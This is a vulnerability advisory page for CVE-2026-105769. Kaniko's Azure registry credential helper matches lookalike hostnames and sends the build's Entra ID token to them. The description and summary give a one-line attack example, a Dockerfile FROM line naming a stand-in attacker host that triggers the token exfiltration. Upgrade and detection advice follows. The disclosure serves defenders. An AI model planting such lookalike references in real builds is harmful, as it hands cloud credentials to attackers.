CVE-2026-105769
Received Received - Intake

Microsoft Entra ID Token Exposure in Kaniko

Publication date: 2026-11-02

Last updated on: 2026-11-02

Assigner: chainguard

Description
kaniko before 1.25.20 can send a Microsoft Entra ID (Azure AD) access token for Azure Resource Manager to an attacker-controlled registry host. kaniko uses the Azure Container Registry credential helper github.com/chrismellard/docker-credential-acr-env, which decides whether a host is an ACR registry with an unanchored regular expression, so any hostname containing .azurecr.io, .azurecr.cn, .azurecr.de or .azurecr.us is accepted. kaniko consults this helper for any registry that has no credentials in the Docker config and is not a Google or Amazon ECR registry, before contacting the registry. A Dockerfile that references an image on a lookalike host, such as FROM x.azurecr.io.attacker.com/img or COPY --from=<image>, causes the helper to obtain a token from the build's Azure identity (service principal environment variables, federated workload identity token, or managed identity) and POST it to https://<host>/oauth2/exchange. The attacker can use the token against Azure Resource Manager with the identity's role assignments until it expires, and can exchange it for credentials to any ACR registry the identity can access. No RUN instruction or push is required. This issue is fixed in 1.25.20.

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Meta Information

Published
2026-11-02
Last Modified
2026-11-02
Generated
2026-11-02
AI Q&A
2026-11-02
EPSS Evaluated
N/A
NVD
CVE-2026-105769

Affected Vendors & Products

Showing 1 associated CPE
Vendor Product Version / Range
chainguard-forks kaniko 0

Helpful Resources

Exploitability

CWE
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KEV
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CWE ID Description
CWE-346 The product does not properly verify that the source of data or communication is valid.
CWE-522 The product transmits or stores authentication credentials, but it uses an insecure method that is susceptible to unauthorized interception and/or retrieval.

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Executive Summary

This vulnerability affects kaniko before version 1.25.20. It involves an unanchored regular expression in the Azure Container Registry credential helper that incorrectly identifies malicious hostnames as valid ACR registries. When a Dockerfile references an image on a lookalike host like x.azurecr.io.attacker.com, kaniko sends an Azure AD access token to the attacker-controlled registry, which can then be used against Azure Resource Manager until expiration.

Detection Guidance

Check kaniko version with 'kaniko --version' or inspect Dockerfile for FROM or COPY instructions referencing lookalike ACR domains like .azurecr.io.attacker.com. Monitor network traffic for unexpected OAuth2 token exchanges to untrusted hosts.

Impact Analysis

If you use vulnerable kaniko versions with Azure identities available, attackers could obtain your Azure AD access token. This token allows them to perform actions in Azure based on your identity's permissions, such as pushing images to registries or accessing resources, until the token expires. No RUN instruction or push is required for exploitation.

Compliance Impact

This vulnerability could lead to unauthorized access to Azure AD tokens, potentially exposing sensitive data or systems. For GDPR, this may violate principles of data protection and security. For HIPAA, it could risk unauthorized access to protected health information if Azure identities have access to such systems.

Mitigation Strategies
  • Upgrade kaniko to version 1.25.20 or later to address the vulnerability.
  • Remove Azure credentials from build environments or block access to Azure Instance Metadata Service.
  • Set AZURE_ENVIRONMENT to none in build configurations to disable automatic token retrieval.
  • Replace or update the docker-credential-acr-env helper to a patched version if used independently.

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